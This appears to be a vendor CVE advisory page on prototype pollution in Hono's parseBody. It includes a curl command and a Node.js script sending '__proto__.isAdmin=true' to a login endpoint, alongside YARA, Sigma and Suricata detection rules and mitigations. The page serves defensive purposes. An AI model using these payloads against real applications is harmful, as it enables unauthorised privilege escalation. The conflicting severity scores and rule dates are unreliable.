☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-56763

CVE-2026-56763 Prototype Pollution in Hono
📅 PUBLISHED: 2026-07-11 13:00 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Japan License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-56763 is a prototype pollution vulnerability in the Hono web framework (versions before 4.12.7). The flaw resides in the parseBody function when the dot option is enabled. An attacker can craft HTTP form field names containing __proto__ keys, which, when parsed and merged into JavaScript objects using unsafe patterns, can pollute the prototype chain. This can lead to unexpected object behavior, potentially enabling privilege escalation, denial of service, or further exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Hono npm package. Organizations using Hono in their Node.js or Bun applications should immediately audit their dependency trees for versions below 4.12.7. The attack vector is through HTTP POST requests with specially crafted form data, making it a critical supply chain risk for any application using Hono's body parsing with the dot option.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component remains the same.
  • Confidentiality (C): None (N) – No direct data exposure.
  • Integrity (I): High (H) – Prototype pollution can alter application logic.
  • Availability (A): None (N) – No direct denial of service.

Threat Level: High (7.5) – Remote, unauthenticated prototype pollution with high integrity impact.

Deep Dive & Mechanics

The vulnerability exists in Hono's parseBody function when the dot option is enabled. This option allows parsing of nested form field names using dot notation (e.g., user.name). However, the parser does not sanitize __proto__ keys. When an attacker sends a form field like __proto__.polluted=true, the parser creates an object with a __proto__ property. If the application then merges this parsed object into another object using an unsafe merge pattern (e.g., Object.assign or spread operator without proper checks), the prototype chain of all objects can be polluted.

Attack Flow:

  1. Attacker sends a POST request with Content-Type: application/x-www-form-urlencoded and body: __proto__.isAdmin=true.
  2. Hono's parseBody with dot: true creates { __proto__: { isAdmin: true } }.
  3. Application merges this into a configuration object: Object.assign(config, parsedBody).
  4. All objects now inherit isAdmin: true, potentially granting admin privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Hono < 4.12.7):

// parseBody with dot option enabled
function parseBody(body, options) {
  const result = {};
  // ... parsing logic ...
  if (options.dot) {
    // No check for __proto__ keys
    setNestedProperty(result, key, value);
  }
  return result;
}

Patched Code (Hono >= 4.12.7):

// parseBody with dot option enabled
function parseBody(body, options) {
  const result = {};
  // ... parsing logic ...
  if (options.dot) {
    // Reject keys containing __proto__
    if (key.includes('__proto__')) {
      continue; // or throw error
    }
    setNestedProperty(result, key, value);
  }
  return result;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running Hono < 4.12.7 with parseBody and dot: true.
  • Ability to send HTTP POST requests.

Exploit Steps:

  1. Identify a vulnerable endpoint that uses parseBody with dot: true.
  2. Craft a POST request with form data containing __proto__ keys.
  3. Observe the impact on application behavior.

Example Exploit (curl):

curl -X POST http://target.com/api/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "__proto__.isAdmin=true&username=attacker&password=test"

Advanced Exploit (Node.js):

const http = require('http');
const querystring = require('querystring');

const postData = querystring.stringify({
  '__proto__.isAdmin': 'true',
  'username': 'attacker',
  'password': 'test'
});

const options = {
  hostname: 'target.com',
  port: 80,
  path: '/api/login',
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': Buffer.byteLength(postData)
  }
};

const req = http.request(options, (res) => {
  console.log(`Status: ${res.statusCode}`);
  res.on('data', (chunk) => {
    console.log(`Body: ${chunk}`);
  });
});

req.write(postData);
req.end();

Blue Team

Detection:

  • Monitor for POST requests with __proto__ in the body.
  • Look for unusual object property assignments in application logs.
  • Use runtime protection (e.g., Object.freeze on prototypes).

Mitigation:

  • Upgrade Hono to >= 4.12.7.
  • Disable the dot option in parseBody if not needed.
  • Implement input validation to reject __proto__ keys.
  • Use safe merge patterns (e.g., Object.assign with null prototype).

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests with __proto__ in form data.
  • Application Logs: Errors or warnings about unexpected prototype properties.
  • System: Modified object prototypes (e.g., Object.prototype.isAdmin).
  • File System: No specific file IOCs.

Detection Engineering

YARA Rule

rule CVE_2026_56763_ProtoPollution {
  meta:
    description = "Detects prototype pollution attempts via __proto__ in HTTP form data"
    author = "Valters IT"
    date = "2025-04-10"
    cve = "CVE-2026-56763"
  strings:
    $proto = "__proto__"
    $proto2 = "__proto__."
  condition:
    any of them
}

Sigma Rule

title: Prototype Pollution via __proto__ in HTTP Form Data
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests containing __proto__ in form data, indicating CVE-2026-56763 exploitation attempts.
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: generic
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query|contains: '__proto__'
  condition: selection
falsepositives:
  - Legitimate use of __proto__ in non-vulnerable contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-56763 - Prototype Pollution via __proto__ in HTTP Form Data"; flow:to_server; http.method; content:"POST"; http.request_body; content:"__proto__"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade Hono to version 4.12.7 or later.
  2. Short-term: Disable the dot option in parseBody if not required.
  3. Long-term: Implement input validation to reject __proto__ and constructor keys.
  4. Runtime Protection: Use Object.freeze(Object.prototype) to prevent prototype pollution.
  5. Monitoring: Deploy the provided detection rules to identify exploitation attempts.

Valters IT – Securing the digital frontier, one CVE at a time.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-56763/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.